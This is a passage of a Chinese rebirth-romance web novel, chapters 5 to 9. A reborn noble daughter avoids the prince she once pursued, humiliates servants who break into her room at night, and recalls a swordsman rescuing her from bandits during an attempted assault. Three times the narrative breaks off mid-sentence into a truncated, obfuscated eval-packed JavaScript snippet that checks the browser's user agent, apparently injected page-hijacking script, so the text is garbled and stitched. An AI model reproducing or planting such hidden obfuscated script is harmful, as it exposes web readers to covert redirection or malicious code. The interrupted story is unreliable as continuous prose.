“今日之事虽然是意外，但到底是因女儿而起，您便罚女儿禁足思过吧，门我不出了，庙会我也不去了，我就待在房间里抄《女戒》。” 沐玉罡看沐毓露的眼神跟见了鬼一样。 他还不了解自己女儿是什么德行？为了能嫁给穆衾寒那是无所不用其极，为达目的不惜败坏自己的名节丢她老子的脸。 今儿个怎么这么好说话了？ 莫不是溺水之后被什么脏东西缠上了？ 沐毓露看沐玉罡一副见了鬼的表情，扯扯嘴角笑了笑：“父亲是嫌这点惩罚不够？不然这样吧，我院子里有什么东西父亲尽管拿去给三妹妹，就当我给三妹妹赔罪。” 沐玉罡的表情更精彩了。 好家伙，这傻女儿什么时候长了脑子，懂得以退为进了？ 主动禁足？不去庙会？ 他要是信了她的邪他就不叫沐玉罡。 他却是不知，就在方才沐毓露的脑子已经转过了山路十八弯，噼里啪啦打着小算盘。 根据上一世的人生经验，沐毓露所知穆衾寒近日行程如下： 穆衾寒将在今晚的庙会出没，再过两日他打猎受伤，皇帝要他入宫养伤，他不入，偏择她爹一处风景极佳的别院山庄将养，一住便是一个月。 为了攀这个高枝儿，她爹沐玉罡可谓煞费苦心，把他几个女儿打扮得花枝招展跟月老庙里的姻缘树似的送到了山庄里头去。 美其名曰让她们照顾王爷身体，谁不知道他心里打的什么主意，不过就是想嫁女儿攀皇亲。 做生意的若是有了这么一层关系，便算是有了一个靠山，保住了自己的脑袋和饭碗。 更何况对方还是惊才绝艳手握实权的摄政王。 话说回来，沐毓露姿色不差，她爹也勉强把她算入了勾引王爷大军的一员。 第5章 第5章 想到这个沐毓露就觉得好笑，上一世她上蹿下跳想要嫁给穆衾寒，沐玉罡责骂她败坏沐府小姐们的名声，但是当穆衾寒这口肥肉到了他眼前，他又忙不迭地把自己女儿们都包装好送上去。 上辈子沐毓露自然是屁颠屁颠跟到了山庄去，可惜穆衾寒神出鬼没的，她只能偶尔远远地望心上人一眼。 那叫一个心急如焚望眼欲穿，有时候她甚至能定定地在穆衾寒院外站上一整天，就连从来都吝于夸奖她的沐玉罡都忍不住赞叹，她有这个毅力做什么都会成功的。 现在回想起这段黑历史，沐毓露难堪得直想撞墙。 穆衾寒，穆王爷，这辈子她沐毓露不稀罕了。 不仅不稀罕，今生她视穆衾寒犹如洪水猛兽，唯恐避之不及。 只要禁了足乖乖待在房间里，也就避开了与曾经的这位心上人相遇的所有可能性。 沐玉罡狐疑地盯了沐毓露许久，企图从她的微表情里看出些许端倪。 却只在她脸上看到了视死如归的坚毅。 全然是一副心意已决不可回转的样子。 沐玉罡一时倒真有些猜不透她的想法，干脆不再多言，冷哼一声拂袖离去。 离开前他对守在院外的小厮们下命令：“大小姐禁足思过一个月，这一个月里不仅她不许出门，旁人也不许进来探视，谁敢违抗，家规伺候。” 院外的小厮一叠声应着，一边恭送老爷离去，一边熟练地把院门锁上。 听见院门落锁的声音后沐毓露反而松了口气，她垂首望着仍旧跪在地上的心云，疲惫地冲她一笑：“心云起来吧，没事儿了。” 心云浑身抖得跟筛糠似的。 方才沐毓露在天下第一楼看见穆衾寒之后转身就跑，两条腿的沐毓露跑得简直比四条腿的马还快，心云在后面使出了吃奶的劲儿都追不上，好不容易赶回沐府，还没来得及喘一口气，又听见沐毓露和三小姐双双落水的消息。 一瞬间她连自己的坟头选在哪座山都想好了。 三小姐沐星子是谁？那是老爷沐玉罡的心肝宝贝！ 自家小姐把她撞进了湖里，老爷虽然不至于因此对小姐动用家法，但她这个贴身丫鬟是肯定免不了一场罚的。 再加上沐毓露向来是眼里揉不得沙子的性格，她相信小姐不是故意将三小姐推进湖里去的，但老爷不相信，若是小姐因此和沐玉罡起了争执，到时候挨罚的还是她这个小丫鬟。 轻则杖刑鞭刑，重则逐出沐府。 因此刚才沐毓露与沐玉罡对峙的时候她的心都提到了嗓子眼儿，生怕沐玉罡一怒之下殃及池鱼，转头对她重拳出击。 却没想到这回沐毓露居然妥协得这么快。 分明受了委屈，却再也不像从前那样企图从老爷那里讨一个公道，反而自请禁足，安安分分待在院子里，甚至也不吵着去庙会了。 心云又抖了起来。 她望向沐毓露的眼神里多了几分惊恐。 她倒不是像沐玉罡那样以为沐毓露是溺水之后被脏东西缠上了，而是怀疑自家小姐上吊未遂被人夺了舍。 自从前次上吊未遂晕厥了半日，沐毓露醒来后完全像是换了一个人。 首先她好像突然之间长了脑子。 其次她好像真的完全不在意穆衾寒了。 心云即便再傻，也看得出来小姐今日之举有特别的用意，自请禁足平息老爷怒火恐怕倒在其次，她真正为的是留在府中，不出院门不去庙会，避开穆王爷的同时也避开了三小姐。 沐玉罡走之前说的什么？他说这一个月里不仅小姐不许出门，旁人也不得前来探视，这个旁人自然也包括了三小姐沐星子。 沐毓露误穿了三小姐为参加庙会定制的一套成衣，这事儿心云一直惦记着，总怕沐星子突然找上门来借机发难。 如今可好了，三小姐跟她家小姐一同在湖里游了一圈儿，能否参加今晚的庙会都是个问题，何况跟跳湖这样的大事比起来，误穿了一件衣裳实在算不得什么。 小姐已经被禁足了，就算三小姐将衣裳的事儿告到老爷那里去又能如何，最多不过让小姐再多禁足半个月。 反正她看小姐已经完全歇了对穆王爷的心思，禁足就禁足，她根本就没打算继续出去制造同穆王爷的偶遇。 想到这里心云又是一个寒颤。 此可谓一箭双雕一石二鸟，如此看来今日她家小姐还真有可能是故意将三小姐撞入水中的。 她家小姐何时变得这般有脑子了？ 她惊恐地望了沐毓露半晌，过了好一会儿才哆哆嗦嗦挤出一句话来：“你……你到底是何方神圣？把我家小姐藏到哪里去了？” 沐毓露同样错愕地盯着心云看了半晌，乍一听她这样说，愣了好一会儿都没反应过来。 又听心云鼓起勇气继续道：“我、我不管你到底是谁，你赶紧从我家小姐身上下来，赶紧把我小姐还回来！” 好好好。 沐毓露咬着牙点头。 敢情这丫头是以为她被夺舍了？又或者是以为她被脏东西上身了？ 她俯下身子凑过去，轻轻揪着心云的耳朵把她从地上拎起来：“你好好看看我是谁？我不是你家小姐还能是谁？” 心云一边喊痛一边站起身来，看着沐毓露熟悉的张牙舞爪的表情，听见她生气时熟悉的咬牙切齿的语气，无比确定眼前的小姐就是本人。 排除了小姐被夺舍的可能，心云终于松了口气，然后哇的一声哭出来，扑到沐毓露的身上：“小姐你吓死我了，你这一次投湖跟以前都不一样，我听说你这次呛了好多水差一点就死了呜呜呜……” 沐毓露满脸黑线：“行了行了别哭了，我这不是没事了？就是头疼得很，你去帮我熬一碗姜汤，我喝了好睡觉。” 心云连忙应了一声，转身就到院子里的小厨房给沐毓露熬姜汤去了。 支走心云后沐毓露叹了口气，侧首将余光望向窗外，她启唇轻声道：“今天多谢风护院相救，我已经没事了，你放心吧。” 末了她又补充一句：“风护院今日并非在我这儿当值，还是快离开吧，免得父亲知道了责备。” 窗外静默良久后传来风问棠的声音：“小姐怎知我在此处？” 沐毓露轻轻笑了一声。 仔细听来她的嗓音其实十分清越好听，有如山间泉水，与她为人处事的张扬作风极为不符：“短短两日我便上吊一次溺水一次，在风护院看来，我怕是铁了心想要自尽吧？” 窗外的风问棠微微一怔。 的确如此。 他的想法与沐玉罡不同，他不觉得沐毓露是故意拉三小姐一起坠湖，他以为她只是在投湖的途中不小心撞翻了挡路的三小姐。 这是一场意外，却又不是意外。 老爷不许她参加庙会，也不许她出府制造同穆衾寒的偶遇，因此她铁了心想要自尽。 这就是风问棠的脑回路。 他觉得自己的推测合情合理。 “你想在这儿守着我，是怕我一次不成还有两次，两次不成还有三次？”沐毓露的声音里带着笑意：“风护院，你恐怕是这个府里唯一一个真心不希望我去死的人。” 风问棠又是一怔。 说这样伤心的话，她果然还是想要自尽。 却听沐毓露继续道：“放心吧，以后我不会这样了，我会善自珍重的。” 她的声音很轻，语气却很坚定，像是在对他也对自己做下一个承诺。 风问棠不再言语，片刻之后沐毓露听见窗外传来风吹落叶般沙沙作响的声音，便知道他已经离开了。 长长地舒了口气，沐毓露往后一仰呈大字型躺在床上。 不管怎么说，总算是避开了穆衾寒，喝了一碗心云熬来的姜汤，她早早睡下，打算好好休息一下，再细细思量来日之事。 重活一世，她发现自己的身子骨貌似不大好了，根本经不起上辈子那般作死折腾。 这次落水似是寒气入体，到了晚上她浑身发凉直打哆嗦，干脆把自己闷头捂在被子里发汗睡觉。 睡着睡着感觉一阵又一阵凉风刮来，冷飕飕的无孔不入，就算闷在被子里也挡不住夜风带来的寒气。 窗户没关严么？ 沐毓露不爽地睁开眼，这一睁惊得她差点心肌梗塞。 窗户不知被谁推开了，大敞着透进来白森森的月光，屋中分明再无旁人，可那月色里清晰地映着一个人影。 沐毓露彻底清醒了，一个鲤鱼打挺坐起身来准备尖叫。 然而还没来得及出声儿，那道黑影便以极快的速度掠来，将她重新压倒在床上，伸出大掌牢牢捂住了她的嘴。 沐毓露十分委屈地望着他，用力地眨了眨眼：这位好汉你要财还是要色？要财没有要色给你，有事好商量求你饶我狗命。 奇的是来人似乎看懂了沐毓露的睫毛语，竟缓缓松开手，俯身认真地打量着她，半晌，轻轻笑了一声，道：“原来是你。” 此言一出，晴天霹雳。 沐毓露被炸得外焦里嫩七荤八素，缓了好一会儿都缓不过神来。 这低沉魅惑的嗓音这高贵冷艳的语气，化成渣她都听得出来。 这个夜闯良家少女闺房还把自己裹得跟粽子似的黑衣人，居然是穆衾寒？！ 6. 第6章 穆衾寒将面罩取了下来，保持着原先的姿势，一动不动目光灼灼地盯着沐毓露：“原来你是沐家的女儿，不知排行第几？” 沐毓露被穆衾寒压在床上，原本就浑身发凉，这会子气急攻心，更是手脚冰凉，抖得比筛子还夸张：“我是正经人家的好女儿，以后要清清白白嫁人的，还请你自重，现在出去，我当无事发生。” 穆衾寒将眉一挑正要开口，忽听院外传来一阵杂乱的脚步声，与脚步声一同响起的还有心云愤怒的说话声：“我家小姐已经歇下了，有什么事明天再说，你们这样子闯进来，就不怕老爷责罚？” 可惜心云一人根本阻挡不住来势汹汹的众小厮，很快他们就闯进了院子里，逼到了沐毓露门前。 心云扑过来死死将门挡住：“你们一群男人大晚上的闯我家小姐闺房，到底要干什么？” “干什么？我们是专程来请大小姐往清芜院走一趟的。”为首的小厮十分嚣张，竟敢直接隔着门对屋内的沐毓露喊话：“大小姐，我们姨娘有话问你，还请你不要耽搁时间，赶紧跟我们走一趟吧。” 心云仍旧死死地拦着门：“老爷罚小姐禁足一月，这一个月里谁都不得踏入院中一步，你们非要进来，也得取了老爷的手令不是？岂能就这样硬闯？” 这一群人来势汹汹，势必不能善了，心云不得已只能搬出老爷来。 然而这些人在王姨娘手下做事，在府中是横行霸道惯了的，心云三言两语怎能唬得住他们。 但闻门外响起清脆的巴掌声，紧接着便是咚咚的敲门声。 这群人竟然是要硬闯。 沐毓露蹙了蹙眉，仰首对穆衾寒道：“王爷若是还要自个儿的清誉，现在就放开我。” 顿了顿，她压低了声音道：“你赶紧钻到被子底下去。” 穆衾寒怔了一下，居然很是配合地点了点头，听话地松开手，乖乖巧巧钻到被子里，安静地躺在沐毓露身边。 果如沐毓露所料，下一秒那群混账小厮便推门而入，快步向床边走来，高举火把直直地往沐毓露脸上照。 沐毓露强忍住想要掐死穆衾寒的冲动，此时此刻她更想收拾的是眼前这帮拜高踩低的走狗。 缩在被子里的穆衾寒微微眯了眯眼。 但见沐毓露当着众人的面旁若无人地开始脱衣裳，脱得只剩一件肚兜后，起身在床沿坐下，冷冷地注视着那帮小厮：“谁再往前一步，我要他不得好死。” 森寒的语调，像是死人在棺材里吐出了一口气。 这非沐毓露式的语气瞬间吓得众人不敢动弹，走在最前面的那个小厮甚至很怂地想往后退。 可惜来不及往后退了。 沐毓露将衣裳扔到地上，居然就这么走下床，一步一步地朝为首的小厮走去。 人们这才发现，沐毓露的好皮相甚至配不上她的好身材。 沐毓露居然是有身材的。 月光小心流转着攀上她的肌肤，如同冰霜凝结其上，白花花的看得人有些心虚。 想盯着她不眨眼地看，又有些胆寒地眯上了眼。 红色肚兜随着她动作的起伏，时而露出雪白的肌肤，时而遮掩着教人窥不见一点春光。 就像红梅落到了雪地里，于是红的愈红，白的愈白。 就在小厮们看直了眼忘了自己身在何处面对何人时，沐毓露淡淡地扫视了他们一圈，勾了勾唇角道：“方才是谁动的手？” 如果说她方才的语调似是死人吐气，那么此刻冷笑着说出来的话便是比白骨还要森寒。 从哪里来的一股压迫感？ 他们不明白，以前那个脑子一根筋只知道一味横冲直撞的大小姐，怎么会突然多出一股子不怒自威的霸道之气？ 就好像是死过一回的人，什么也不在意，什么都不怕了。 没有人开口，准确来说，是没人敢说话。 沐毓露转首将目光落到捂着脸哭得满眼泪花的心云身上：“来，心云你告诉我，方才是谁动手打你？莫怕，我替你讨回公道。” 心云哽咽了一下，伸出手颤巍巍地指向缩在人群最后面的那一个小厮。 若是放在以前，心云绝不敢指出那人，她家小姐什么德行她最清楚了。 沐毓露永远都是受欺负的性子，不论是生气还是委屈，都只会把自己关在屋子里闷闷地纠结。 最后一定是纠结不出什么答案的，然后她便会无比气恼地哭闹着去找沐玉罡，如此便正中了王姨娘和三小姐的下怀。 她没办法从沐玉罡那里讨得什么公道，反而会被他训斥，责骂她身为沐府的嫡长女，却根本担不起这个身份。 最后的结果大概率便是沐毓露被斥责，作为她贴身丫鬟的心云被罚月俸。 每一次都是如此，循环往复，没有例外。 也正因如此，前世的沐毓露才会愈来愈偏激，将所有的愤恨与不平都藏在心底，一味地将自己的爱往穆衾寒身上塞，一味地乞求得到他的怜爱。 最后求而不得，终于为爱疯魔。 可是重活一回，她沐毓露岂能再如前世那般窝囊，这辈子她偏要敢爱敢恨。不爱她的，那便随他去吧，至于那些令她恨得牙痒痒的—— 她咬牙冷哼一声，将目光落到心云所指的那个小厮身上，抬步向他走去。 那小厮还没反应过来发生了什么，一个响亮的巴掌声便在他的耳畔炸起，左边响完右边响，右边响完左边响，左左右右右右左左无穷尽也…… 直到将那小厮打出了两行鼻血，沐毓露才嫌恶地甩了甩胳膊勉强作罢，揉着肩膀轻声嘟囔，看来以后要好好练习练习臂力了。 那小厮被打蒙圈儿了，站在原地晃了晃身子，然后扑通一声向后就倒。 众人呆若木鸡站在原地，一动也不敢动。 “年轻就是好啊，倒头就睡。” 沐毓露冷笑着感慨了一声，然后抬脚踩上那小厮的脸，转首对众人道：“本小姐的人岂是你们能动的？看好了，这个人就是下场。” “现在能好好说话了不？”她对为首的小厮笑了笑：“说说吧，王姨娘叫你们来干什么？” 那小厮再也没了方才的嚣张气焰，当即往地上一趴，一边磕头一边说道：“三小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在他们大汗淋漓埋头苦思这事儿该如何收场的时候，沐毓露语声平静地道：“将我的原话转述给你们主子就是了，她若真去取得了老爷的手令，不管她想问什么我都配合。” 说完她抬手往衣橱一指：“我这儿还有一身三小姐的衣裳，也不知道清芜院的人整日都在干什么，定制的成衣也能送错院子，你们顺便把这衣裳给三小姐带回去吧？” 小厮们面面相觑了一阵，最后还是那为首的小厮鼓起勇气道：“这衣裳……送错了就送错了吧，断没有再从小姐这里取回去的道理。” 沐星子的确在院子里嚷嚷过沐毓露为了参加庙会抢了她定制的成衣穿，要王姨娘给她做主。 但如今两位小姐都没法参加庙会，沐毓露说衣服送错了，把责任推到了清芜院头上，方才又给了他们这样大一个下马威，现如今他们倒真的不敢轻举妄动了。 总归这衣裳就算拿回去三小姐也肯定不会穿了，说不定还要责备他们窝囊，居然就这样把衣服拿回来。 7. 第7章 识时务者为俊杰，三小姐若非要为了一件衣裳去闹，那便让她自己闹去吧。 他们可不想趟沐府的浑水。 沐毓露扫视了众人一圈，扬唇一笑：“行了，这事儿就这么了结吧。” 听到她这样说，小厮们提到嗓子眼儿的心慢慢放了下去。 然而不待他们彻底将悬着的心放下，下一秒沐毓露又凛了神色冷声道：“这件事就此了结，现在我们来算算另一笔账。” 小厮们一惊，刚刚放下的心又瞬间提了起来。 什么另一笔账？ 另一笔什么账！ “你们一群人夜闯本小姐闺房，不待我穿好衣裳便闯进了我的屋子，现在来算算这笔账该怎么了结？” 小厮们集体嘴角抽搐，恨不得当场去世。 得，现在他们是百口莫辩了。打人的是他们，闯屋的也是他们，可是脱衣服的，分明是沐毓露自己啊！？ 这位姑奶奶怎么不按常理出牌呢？ “夜闯小姐闺房，知道的说你们是为姨娘办事忠心耿耿，不知道的还以为你们是包藏祸心别有所图。” “这事儿若抖落出去，我最多失个名节，你们要丢的可是一条性命。” 沐毓露的声音冷冰冰，小厮们的心情凉飕飕。 他们本来还在纳闷儿，沐毓露为什么在他们进来之后莫名其妙开始脱衣裳，原来是在这儿等着他们。 这件事情若是传出去，沐毓露自然是嫁不出去了，但他们也不用活了。 感受到沐毓露审视的目光，小厮们把头垂得越发低了。 他们好想逃，可惜逃不掉。 漫长的等待之后，沐毓露冰凉的声音再次响起：“今儿个本小姐饶你们狗命，下次还敢欺到我头上来，便没有这么简单了。” 沐毓露将这狠话说得相当决绝，毕竟上一世她是见过大世面的人，何谓求死不得何谓生不如死，她不仅见识过，而且亲身体会过。 自然，这都是拜穆衾寒所赐。 那个狗男人的手段可不是一般的残忍，她只要照猫画虎学上一点点，这辈子便够用了。 放完狠话之后她冷冷地喝道：“还不快给我滚出去？” 小厮们的心随着沐毓露的话忽上忽下，时而狂跳时而骤停，实在是非常的折磨。 好不容易得到了赦免，在沐毓露垂首示意他们滚出去的那一刻，众人纷纷熄了火把，脸色苍白地往地上一倒，抱着脑袋圆润地滚了出去。 最后一个人滚出去的时候沐毓露蹙眉扬声道：“把门给我关上。” 那人已经滚出去一段距离了，听见沐毓露的声音后又忙不迭地滚回来，起身弓腰把门带上，因为太过慌乱，关门的时候脑袋还不小心撞到了门框上，发出咚的一声闷响。 沐毓露嫌弃地啧了一声，转首将目光落到心云身上，冲她招了招手：“脸疼不疼？那混账玩意儿下手重不重？过来给我看看。” 沐毓露一边问一边举起烛台仔仔细细检查心云有没有受伤，在看见心云脸上留下的那道巴掌印之后，她脸色一沉，眼神阴郁得可怕。 她想起前世自己将心云随意许配给了一个小厮，那混账东西酒后也总是打骂心云。 前世的她甚至没有去看过心云一眼，任由她在那小厮手底下受尽折磨。 那时候的心云脸上也总是会留下这样的巴掌印吧，除此之外，她身上也许还会有更多的伤痕。 再想起方才心云拼命拦门，护着她不让那些小厮闯入的情景，沐毓露不由心中一痛。 她轻轻地将心云揽进怀里：“今日虽说为你出了气，却到底还是让你受了委屈。” 前世加上今生的愧疚如潮水般涌上沐毓露的心头，她难过得红了眼眶。 心云却是不知沐毓露对她的愧疚不仅仅是因为今晚的这场风波，她被突然哽咽住，伤心得不能自已的沐毓露吓了一跳：“小姐？你怎么哭了？你放心吧我没有受伤。” 沐毓露抹了把眼泪，长长地舒了一口气后松开心云：“你去休息吧，今晚不必在这里守着我了。” 心云点了点头：“那小姐也快些歇息。” 今夜沐毓露把王姨娘派来的小厮们打了回去，明日清芜院还不知道要怎么闹呢。心云隐隐有些担忧，却又不想让沐毓露跟着她一起提心吊胆，于是什么也没有说，转身退了下去。 心云离开后沐毓露疲惫地栽倒在床上闭目养神。 其实就算心云不说，她也知道她在担心些什么，今晚这一场闹剧还远远没有结束，好戏才刚刚拉开帷幕。 不过今夜她什么也不愿再想，她现在只想好好休息一下。 明日会如何，明日再说吧。 便在这时耳畔响起一个声音。 “你觉得性命比名节重要？” 低沉的嗓音在耳畔响起时沐毓露才猛然忆起被窝里还藏了个穆衾寒，她微微一颤，惊悚地睁开了眼。 竟然忘记了房间里还留着这么个大麻烦！ “您说的这叫什么话呀？”反应过来穆衾寒方才说了什么之后，沐毓露深吸一口气，转过身与穆衾寒对视，丝毫不避讳他灼热滚烫的目光：“难不成名节比性命还重要？” 不待穆衾寒开口，沐毓露紧接着下了逐客令：“王爷还不走么？继续在我这儿待着怕是有损您的清誉。” 穆衾寒听出来了，沐毓露已经耗尽了所有的耐心，此刻赶他的语气与赶那些小厮的如出一辙。 她似乎很嫌弃他。 然而她越是如此，他便越是好奇，越不急着离开。 穆衾寒坐起身来，好整以暇地打量她，过了半晌开口问道：“你身为女子，为何这般不在乎自己的名节，反而担心坏了我一个男人的清白？” 沐毓露语出惊人：“清白重要与否同性别无关。” 她这番话在如今这个时代自然是惊世骇俗的，却没想到穆衾寒似乎接受良好，他挑了挑眉饶有兴味地追问道：“那同什么有关？” 这人问题怎么这么多？问起来没完没了。 沐毓露强抑住心中怒火，克制住想要一脚将他踹下床的冲动，一本正经地回答道：“自然是同身份有关。” “您的身份是王爷，这个身份自然是贵重无比的。今后您还要迎娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来她历尽千辛万苦找到了他，却看见他搂着心上人柳闻霜，听见他对她许下山盟海誓的诺言。 在他遭遇暗杀负伤昏迷的时候，是柳闻霜先她一步寻见了他，穆衾寒醒来时第一眼见到的就是衣不解带没日没夜照料着他的柳闻霜。 他自然对柳闻霜爱得更深了，而在看见姗姗来迟，一个月都没好好梳洗过的蓬头垢面的沐毓露之后，他自然无比嫌弃，当即喝令她滚回去。 他不肯收留她，甚至懒得拨给她一个侍卫送她回去。 他急着将她赶走，仿佛多看她一眼都让他感觉恶心。 前世的她不知是怎么想的，竟当真赌气地只身而返，还以为穆衾寒多少能有点良心，至少会派人护送她，却没想到他真的任由她一个人离开，不闻不问，弃若敝屣。 彼时两国边境交战未休，兵荒马乱流寇众多，她一个弱女子，能从朱雀国孤身奔赴玄武国，已经是一种幸运。 而这种幸运，未必会有第二次。 8. 第8章 在从玄武国返回朱雀国的途中，她遇见了一伙流寇，那伙流寇见她孤身一人行走在官道上，又是一个弱女子，当即起了歹心，捂住她的嘴便把她拖到了山林里。 那是沐毓露第一次如此接近死亡。 被流寇们粗暴地拖进林中的时候，她觉得天旋地转，头晕眼花的仿佛看到了太奶。 她已经很久没有进食了，身体本就十分虚弱，几个男人将她团团围住，或拎着长刀或持着棍棒，她完全没有反抗之力。 甚至连呼救的力气都没有。 在其中一人伸手扯开她的衣衫的时候，她绝望地闭上了眼。 衣帛碎裂的声音在耳边响起的一瞬间，她脑子里闪过许多的想法。 首先想到的居然还是穆衾寒。 她想，自己为他守身如玉多年，没想到今日会栽在这里。 紧接着她想到穆衾寒赶她离开时嫌恶的目光，她今日在这里失了贞洁，穆衾寒以后恐怕会更嫌弃她吧。 不，何止是嫌弃。 失去贞洁的她一定会被赶出王府，连作为侍妾留在穆衾寒身边的资格都没有了。 想到这里她突然感到无比恐惧，止不住地颤抖起来。 她这副模样反而让那些男人更兴奋了，粗糙的大手抚上她细腻的肩膀时，她终于忍不住发出颤栗的尖叫。 下一秒她听到身边传来打斗的声音，紧接着是一声接一声的闷响，片刻之后山林重回安静，只偶尔传来几声鸟鸣。 沐毓露瑟缩着睁开了眼。 睁眼看见一地血淋淋的人头后她差点一翻白眼晕死过去。 原来方才那一声接一声的闷响是人头落地的声音。 “还闭着眼睛做甚？” 一道清冽的声音在她头顶响起，语气冰冷犹如十二月里的雪。沐毓露哆嗦了一下，不敢违抗他，小心翼翼地再次睁开了眼。 首先映入眼帘的是一柄散发着寒光还在不断往下滴血的长剑。 沐毓露条件反射往后一躲，却见剑的主人只是用剑尖挑起散落在一旁的衣衫，然后将它覆在了她的身上。 沐毓露比雪还白的肌肤上留下的道道伤痕似乎刺痛了他的眼，他不动声色地将目光从沐毓露身上移开：“穿好衣服，赶紧离开。” 沐毓露哆哆嗦嗦地将衣裳拢在身上。 然而衣裳被那伙流寇撕成了碎片状，没办法完全遮住她的身体。 她一遍又一遍地用那些布料碎片遮住自己裸露的身体，看起来笨拙又可怜。 那人轻轻啧了一声，下一秒解开自己的衣袍，将外衫扔给沐毓露。 沐毓露手忙脚乱接住外衫，落入她掌心的是一团柔软的粉色，如同天边笼罩着晚霞的云烟。 沐毓露怔了一下。 她这才注意到，那个武功高强将她从流寇手中救下，杀人不眨眼的冷漠杀手，他、他穿的是一身骚气满满的粉色衣衫？ 从刚开始直到现在她都不敢抬眼正视自己的救命恩人，生怕犯了这类行走江湖的武林高手的忌讳，但是在触摸到他脱下来的柔软外袍的一刹那，她觉得自己的心也跟着软了下来。 那如云烟一般柔软的衣袍上还残留着他的温度，一股暖流从掌心蔓延至沐毓露的心间。 她突然觉得没那么紧张了。 鬼使神差地，她抬起头打量着站在眼前的那道身影。 男人身形高大，却并不显得壮硕，他并没有像寻常人印象中的武林高手那般穿着一身劲衣，而是身着宽松的衣袍，衣摆随风翩跹，衬得他如同立于云端的仙人。 沐毓露看傻了眼。 她觉得眼前这个人不是习武的，而是修仙的。 她的嘴巴比脑子动得快，下一秒她直接脱口而出：“不知仙人名姓？我该如何报答你的救命之恩？” “仙人？”那人回首望了沐毓露一眼，却见沐毓露还未将衣裳穿好，于是又匆匆将目光移开：“赶紧穿好衣裳走人，别耽误我在这里办事。” 便是在他回头之际沐毓露才发现，眼前这个仙人脸上覆着面具，只露出了一双好看的眼睛。 不知恩公名姓，甚至看不见他的真容，沐毓露一时有些茫然。 什么信息都没有，她以后要怎么报恩呢？ 她沐毓露虽然混账，却也明白眼前之人有大恩于她，她理应知恩图报。 将那人扔给她的外衫当作斗篷披在自己身上后，沐毓露站起身来，虚弱地朝着眼前之人一拜。 不待她开口说话，那人抢先道：“我救你只是顺便，那伙人挡了我的路，所以他们该死。” 他强调了一句：“我杀他们与你无关。” 沐毓露听得懂他言语中的意思，他这是在极力撇清两人之间的关系，他只是顺手救下了她，她千万不要把他当作什么救命恩人。 他救了她，她自然不能让他觉得自己是救下了一个大麻烦。 于是她点了点头，一言不发转身离去。 蹒跚着往前走了几步，却听见身后又传来那人的声音：“知道该怎么走么？” 沐毓露回过身，又冲他点了点头。 他似乎是蹙了蹙眉，隔着面具沐毓露看不真切，只听见他继续问：“这一路并不太平，你知不知道接下来很可能还会遇见流寇山匪？” 沐毓露第三次沉默地点了点头。 她当然知道这一路不太平，也知道继续往前走很有可能再度遇到危险。 可是她有什么办法呢。 她随身带着的钱财早就所剩无几，都不够她雇一辆马车的，更别提去找镖局保护她的安全。 原本她将所有的希望都寄托在穆衾寒的身上，指望着他能留下她，或者至少派一队护卫送她回京。 却没想到他如此厌恶她，在见到她的第一眼便呵斥她赶紧离开。 摇了摇脑袋，她想要将穆衾寒的身影从自己脑海里摇出去。 他根本不管她的死活，她还在这里巴巴地想他做甚？ 想必就在她深陷险境，险些被那帮流寇侵犯的时候，他正陪着柳闻霜，在她耳边温言软语吧。 沐毓露垂下头，浑身上下都流露出掩不住的落寞之意，这让她看起来很可怜，像是一件被人摔坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人清冽的嗓音隔着面具传来，似乎带了一些哂笑的意味：“我只是想要看一看，这天底下最懦弱无能的人是什么样子？” 沐毓露通过他的双眸看见自己惊慌失措的模样，她的脸瞬间皱成了一张苦瓜。 她此刻无比懊悔，果然不该将自己的伤疤血淋淋地撕给别人看，他不会同情她，只会像沐府和王府中的那些人一样嘲笑她。 却听他继续道：“你方才说的那些都不是反抗，你只是在逃避。” 下一秒他将自己的剑塞到沐毓露手里：“知道什么才是反抗么？” 他扫视了一圈地上的人头：“把那些想要侵犯你的人的头砍下来，这样才是反抗。” “让那些欺负过你的人都付出代价，这样才是反抗。” 血液已在剑身上凝固，沐毓露强忍着恶心握紧了被塞到手中的长剑，她的声音止不住地发颤：“可我跟你不一样，我没有力量，我甚至连剑都握不稳，怎么能砍下他们的头？” 9. 第9章 “你太小瞧自己的力量了。” 眼前这个男人虽然浑身都散发着冷冽的气息，但是同沐毓露说话时语气称得上温和。 他似乎怕吓到她。 她看起来实在太脆弱了。 “我曾见过小国的平民在大国的倾轧下艰难求生，见到最底层的人迸发出最强大的求生意志。” “我还看见过母亲独自带着孩子行走于战乱的边境，看到她为了保护孩子爆发出世人眼中女子本不该有的力量。” “人本身就拥有无限的潜能，只是这些潜能也许在被逼至绝境时才会爆发出来。” 他微微俯身握住她的手，引导着她握紧手中的剑，然后用锋利的剑尖指向地上的那些人头。 “你本来就拥有力量，只是你将希望寄托在别人身上，不肯相信自己。”他最后说道：“就算无法砍下他们的人头，至少也要让他们付出代价，你可以做到的。” 沐毓露恍惚地站在原地，觉得眼前之人所说的话像是从天边传来，声音落在她的耳边是如此真切，可她就是觉得好不真实。 她觉得他说的那些话都太不真实了。 等她反应过来后，那人已经不见踪影，只留她一人手持长剑站在尸体堆里。 她吓了一大跳，拎着剑踉踉跄跄地继续赶路。 对于前世的沐毓露而言，这一桩意外就像是一场虚幻的梦，也许是大脑为了保护自己而故意屏蔽了这段记忆，待她狼狈不堪地赶回朱雀国时，这一段过往已经在她的脑海中变得不甚清晰。 她不愿记起那伙流寇将她粗暴地拖进林中时的场景，也顺便忘记了那个救命恩人曾经对她说过的话。 他说她本来就拥有力量。 那些欺负过她的人，至少要让他们付出代价。 